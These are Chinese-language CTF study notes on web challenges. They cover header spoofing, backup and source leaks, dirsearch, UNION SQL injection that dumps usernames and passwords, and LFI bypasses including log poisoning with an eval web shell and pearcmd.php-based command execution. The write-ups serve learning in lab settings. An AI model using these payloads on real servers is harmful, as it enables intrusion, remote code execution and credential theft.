1.http(极客大挑战)

首先查看源码发现 <a style="border:none;cursor:default;" onclick="return false" href="Secret.php">,点击该链接

然后通过页面信息修改referer:https://Sycsecret.buuoj.cn

接着浏览器信息,即 User-Agent:Syclover,然后告诉我们要从本地查看,上网查找发现本地都是这个端口号 127.0.0.1,修改xxf,然后flag就出来了

2.查看网页的备份文件(攻防世界)

php的备份文件有两种:*.php~和*.php.bak

例子:http://61.147.171.105:55767/index.php.bak

2.机器人协议

url/robots.txt

3.php2(攻防世界)

对网址后面加上/index.phps就可以查看页面php源码

例子:http://111.198.29.45:45191/index.phps

phps是php的源代码文件,但是不能接受传参,所以hackbar还是要在.php里面做

4.cookie(攻防世界)

如何查看http响应

打开开发者工具,再点击网络(network),选择你想要查看http响应的网址

这道题的flag位于标头里面

5.扫描目录用dirsearch(攻防世界)

dirsearch -u <URL>是要扫描的目标网站的URL

可以用以下选项来调整扫描:

-e:指定要排除的扩展名

-f:指定要包含的扩展名

-x:指定要排除的目录

-t:指定线程数

例子:dirsearch -u https://example.com/ -f php,html -t 50(用50个线程扫描一个URL,只包括.php和.html文件)

1
dirsearch -u https://example.com/ -o result.txt

将扫描结果保存到result.txt文件中

6.very_easy_sqli 880

本题使用的是union注入(整形和字符型)

最开始通过查看源代码发现使用的是post

前面注入步骤来查询出数据库名称叫做ez.php,表名叫作users

接着通过需要查出这个表内有的所有的字段名:id,username,password

1
username=222' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#&password=123

然后我们需要查出这些字段下得内容,找出flag,这里采用一劳永逸的做法

1
username=222' union select 1,group_concat(id,username,password),3 from ez_php.users#&password=123

注意:必须用group_concat才能找出字段下面的所有内容,否则只会查询出第一行的内容

7.ez_double_cmd(php伪代码协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
print("easy lfi, but no flag~~");
$cmd = $_POST['cmd'];
//flag in /flag
if (isset($cmd)) {
print ("first one:" . "<br>");
$cmd = preg_replace("/flag/i", '', $cmd);
echo $cmd;
if (preg_match("/flag/i", $cmd)) {
include($cmd);
}
}

(1)highlight_file()函数

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!

语法: highlight_file(*filename,return*)

参数 描述
filename 必需。规定要显示的文件。
return 可选。如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。默认是 FALSE。

(2)preg_replace函数

作用:执行正则表达式搜索和替换的函数

基础语法: preg_replace(pattern, replacement, subject);

  • pattern:要搜索的模式(正则表达式)。
  • replacement:替换模式或者替换字符串。
  • subject:要进行搜索替换的源字符串或数组。

这个函数会在 subject 字符串中搜索与 pattern 匹配的内容,并使用 replacement 进行替换。可以通过正则表达式定义灵活的搜索模式,并对匹配的内容进行替换或处理。

(3)preg_match函数

作用:用于正则表达式匹配的函数之一。它用于检查字符串是否与给定的正则表达式模式匹配。

基础语法: preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0): int|false

  • $pattern 是要匹配的正则表达式模式。
  • $subject 是要检查的字符串。
  • $matches 是一个可选参数,用于存储匹配的结果。
  • $flags 是一个可选参数,用于指定匹配模式。
  • $offset 是一个可选参数,用于指定开始搜索的位置偏移量。

preg_match() 返回成功匹配的次数(通常是 1),如果没有匹配到则返回 0,如果发生错误则返回 false


$pattern="/flag/i" 是一个正则表达式模式。在这里,/flag/i 是一个包含了两个部分的正则表达式:

  • /flag/:这是正则表达式的模式部分。它表示要匹配的文本模式是 “flag”。
  • i:这是一个修饰符,用于修改正则表达式的行为。在这里,i 是忽略大小写的修饰符,它表示匹配时不区分字母的大小写。

我们需要经过这个函数后应该还有flag这个词,所以需要双写绕过,即 cmd=flflagag

绕过之后发现 include($cmd)木有反应,后面经过土豆哥的解释才明白有反应,只是没有显示出任何的内容

尝试用php伪协议来继续作答:

1
cmd=php://filter/read=convert.base64-encode/resource=/flflagag

通过这行代码成功获取到base64编码后的内容:PD9waHAKJEZMQUcgPSAiUk9JU3tkb3Vkb3VibGVibGVfY21jbWRkX3dpd2lubn0iOw==

经过base64解编码后得到 <?php $FLAG = "ROIS{doudoubleble_cmcmdd_wiwinn}";

由于FLAG是一个变量,在执行完后不会再前端显示任何内容

解法二之日志包含

仅限于日志内容不多的情况下,要不然显示不出来

首先将 User-Agent的内容改为php代码 <?php eval($_POST[kang]);?>

接着POST传参内容为

1
cmd=flflagag/../../../../../../../var/log/apache2/access.log&kang=system('cat /flag|base64')   要有空格

最后就可以得到base64编码后的flag,解码后就得到了flag的内容

8.double_cmd_plus

前文

Linux上执行某个可执行文件的方式是:/文件名
eg:执行当前目录下一个hello.sh:./hello.sh

其实只要指定了绝对路径或者相对路径都能直接操控的

flag文件加了0600权限:意味着只有文件的所有者具有读取和写入权限,而其他用户(组成员和其他用户)没有任何权限

c文件编译后的可执行文件加了u+s权限:意味着当用户执行这个文件时,将临时使用文件所有者的权限来执行该文件,而不是使用执行用户的权限。

C文件(readflag.c)中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void) {
char flag[256] = {0};
FILE* fp = fopen("/flag", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fread(flag, 1, 256, fp) < 0) {
perror("fread");
return 1;
}
puts(flag);
fclose(fp);
return 0;
}

这段代码尝试打开名为 “/flag” 的文件,读取其内容并将其输出到标准输出。如果打开或读取文件失败,程序会打印相应的错误消息并退出

题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
print ("easy lfi, but no flag~~");
$cmd = $_POST['cmd'];
//flag in /flag
if (isset($cmd)) {
print ("first one:" . "<br>");
$cmd = preg_replace("/flag/i", '', $cmd);
echo $cmd;
if (preg_match("/flag/i", $cmd)) {
include($cmd);
}
}

做题过程

首先我们需要包含pearcmd.php文件才能够进行下一步,即利用pearcmd.php的漏洞插入一个文件(要用bp来操作,在重放器里面)

成功插入文件之后我们就转战hackbar

通过 cmd=flflagag../../../../../../tmp/hack.php&kang=system('ls /');我们可以知道readflag文件(编译后的文件)位于根目录,所以我们需要退到根目录处去执行,即

1
cmd=flflagag../../../../../../tmp/hack.php&kang=system('../../../../.././readflag');

这样子发现没有任何内容显示,查看flag文件代码后发现是因为php变量不会被直接显示在前端,于是尝试对其进行base64编码

1
cmd=flflagag../../../../../../tmp/hack.php&kang=system('../../../../.././readflag|base64');
1
cmd=flflagag../../../../../../tmp/hack.php&kang=system('../../../../../readflag|base64');(这样也可以的)

成功显示出编码后的flag文件内容,拿去解码后得到flag

1
2
<?php
$FLAG = "ROIS{lfitoshellissoeasy}";

(其实最开始做的时候用这个方法怎么都是行不通的,但不知道为啥晚上再试一次就成功了)

再经过了豆哥的提示后明白当知道文件的绝对路径或者相对路径的时候便可以直接执行该文件,所以有下面第二种方式得到flag

1
cmd=flflagag../../../../../../tmp/hack.php&kang=system('/readflag|base64');

结语

这道题能够做出来还是要感谢土豆粉和土豆哥,对我解决这道题的帮助太大了

做的时候对pearcmd.php漏洞的理解还是不太深刻,对于bp的使用也不熟,导致最开始的时候浪费了很多的时间。

这道题综合能力非常强,以前用到的知识点好多都又用上了

9.easy-PDD(爆破)

这道题先用bp抓包,然后用bp中的爆破模式,也就是Intruder模式来发送好多好多的请求包,得到flag

具体爆破模式操作步骤可以参考:https://blog.csdn.net/FTQOOO/article/details/103822526

10.源码泄露

url/www.zip:会下载相关源码

11.信息泄露(总)

资料查看网址:https://blog.csdn.net/a597934448/article/details/105431367

12.Vim意外退出

临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 “ . “